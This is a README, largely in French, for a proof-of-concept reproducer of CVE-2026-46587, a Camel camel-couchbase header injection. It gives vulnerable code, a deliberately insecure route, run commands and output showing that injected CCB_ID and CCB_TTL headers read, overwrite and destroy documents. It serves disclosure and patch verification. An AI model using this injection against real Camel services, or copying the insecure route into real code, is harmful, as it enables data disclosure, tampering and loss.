
Reproducteur pour CVE-2026-46587 : injection d'en-tête CCB_* camel-couchbase Apache Camel permettant la divulgation de documents, la falsification et la destruction de données forcée par TTL (corrigé dans 4.14.8/4.18.3/4.21.0)
CCB_* Reproducateur d'injection d'en-tête (CVE-2026-46587)Ce projet démontre une injection d'en-tête de message dans le composant camel-couchbase d'Apache Camel, suivie comme CVE-2026-46587. Le composant lit plusieurs en-têtes Exchange pour contrôler son comportement — CCB_KEY (clé du document), CCB_ID (identifiant du document), CCB_TTL (expiration du document), CCB_DDN (nom du document de conception) et CCB_VN (nom de la vue). Les valeurs textuelles de ces constantes d'en-tête (définies dans CouchbaseConstants) sont des noms simples sans préfixe plutôt que les noms préfixés Camel utilisés par tous les autres composants (par exemple CamelSqlQuery). La stratégie HttpHeaderFilterStrategy entrante de Camel ne bloque que les noms d'en-tête commençant par Camel / camel, donc ces noms traversent le filtre entrant inchangés. Lorsqu'une route expose un point d'entrée HTTP (par exemple platform-http) devant un producteur couchbase, un client HTTP non fiable peut définir ces en-têtes directement et remplacer l'identifiant du document, le TTL, le nom du document de conception ou le nom de la vue configurés par l'auteur de la route.
Cette preuve de concept démontre trois impacts distincts à partir de la même faille :
CCB_ID injecté lit un document en dehors du périmètre de l'appelant.CCB_ID injecté sur une écriture écrase un document protégé.CCB_TTL=1 injecté force le document de l'appelant à s'auto-détruire silencieusement.Advisory: https://camel.apache.org/security/CVE-2026-46587.html
| Propriété | Valeur |
|---|---|
| Composant | camel-couchbase |
| Classe affectée | org.apache.camel.component.couchbase.CouchbaseProducer lisant CouchbaseConstants.HEADER_ID ("CCB_ID"), HEADER_TTL ("CCB_TTL"), etc. |
| CWE | CWE-20 : Validation incorrecte des entrées |
| Impact | Un client HTTP définit les en-têtes CCB_* → remplace l'identifiant du document / TTL / doc de conception / vue → divulgation, altération, perte de données |
| Conditions préalables | Une route expose un producteur couchbase derrière un consommateur HTTP (par exemple platform-http) ; non authentifié lorsque le consommateur l'est |
| Versions affectées | De 4.0.0 avant 4.14.8, de 4.15.0 avant 4.18.3, de 4.19.0 avant 4.21.0 |
| Versions corrigées | 4.14.8, 4.18.3, 4.21.0 |
| Correctif | PR apache/camel#23228 (main), rétroporté via #23230 (4.18.x) / #23231 (4.14.x) |
| Crédit | Yu Bao (PayPal) |
Même famille d'injection d'en-tête que CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 et CVE-2026-47323. Le correctif partage sa PR avec l'avis jumeau CVE-2026-46588 (camel-couchdb).
// CouchbaseConstants (affected 4.18.2) — the header names are bare, un-prefixed strings:
String HEADER_ID = "CCB_ID";
String HEADER_TTL = "CCB_TTL";
// CouchbaseProducer.process (affected 4.18.2) — the id and expiry come straight from those headers:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)
Le correctif (4.14.8 / 4.18.3 / 4.21.0) renomme les valeurs des en-têtes selon la convention Camel — CCB_ID → CamelCouchbaseId, CCB_TTL → CamelCouchbaseTtl, CCB_KEY → CamelCouchbaseKey, CCB_DDN → CamelCouchbaseDesignDocumentName, CCB_VN → CamelCouchbaseViewName — de sorte qu'elles sont bloquées par le HttpHeaderFilterStrategy entrant comme tous les autres en-têtes de contrôle Camel. Les noms des constantes Java restent inchangés.
from("platform-http:/save") // and /fetch
.removeHeaders("Camel*") // documented hardening — see below
.choice().when(header("CCB_ID").isNull())
.setHeader("CCB_ID", constant("user-draft")) // default to the caller's own document
.end()
.to("couchbase:couchbase://<host>:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");
La route utilise par défaut l'identifiant du document comme étant le brouillon de l'appelant et, comme durcissement documenté, supprime l'espace de noms des en-têtes de contrôle Camel à la frontière. Cela n'aide pas : les en-têtes de remplacement sont nommés CCB_ID / CCB_TTL, pas CamelCouchbaseId / CamelCouchbaseTtl, donc ils ne sont supprimés ni par removeHeaders("Camel*") ni par le filtre d'en-tête HTTP intégré — et le producteur les honore.
La base de données est initialisée avec deux documents : user-draft (le propre document de l'appelant) et system-config (un document sensible que le point d'accès ne doit jamais exposer).
La victime correspond aux routes Camel et à leur base de données Couchbase ; l'attaquant est un client HTTP non authentifié qui définit uniquement des en-têtes de requête. Un petit harnais SDK initialise et lit les documents pour vérification, indépendamment de la route vulnérable.
CVE-2026-46587/
├── pom.xml # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml # couchbase 7.6 (community) + one-shot provisioner + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchbaseSettings.java # host / bucket / creds / document ids
│ ├── CouchbaseHarness.java # SDK harness: seeds + reads docs for verification
│ ├── VictimRoute.java # platform-http:/save and /fetch -> couchbase producer
│ └── ExploitController.java # attacker: HTTP requests with injected CCB_ID / CCB_TTL headers
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # couchbase -> provisioner -> app (first start pulls ~1.7GB)
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
Le fichier compose initialise un cluster Couchbase à un seul nœud (KV uniquement), crée le bucket
mybucketet unappuser, puis démarre l'application. Un alias réseau en pointillé (couchbase.cve.local) est utilisé comme nom d'hôte du nœud car Couchbase rejette les noms d'hôte courts.
initial DB state (read straight from Couchbase):
user-draft = empty-draft
system-config = PROTECTED-ORIGINAL-CONFIG
=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
PROTECTED-ORIGINAL-CONFIG
read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
system-config = PROTECTED-ORIGINAL-CONFIG (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
system-config = ATTACKER-OVERWRITE-PAYLOAD
write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
user-draft immediately after save: important quarterly data the user just saved
user-draft ~2.5s later: <not found: DocumentNotFoundException>
ttl-injection / data loss: true
>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).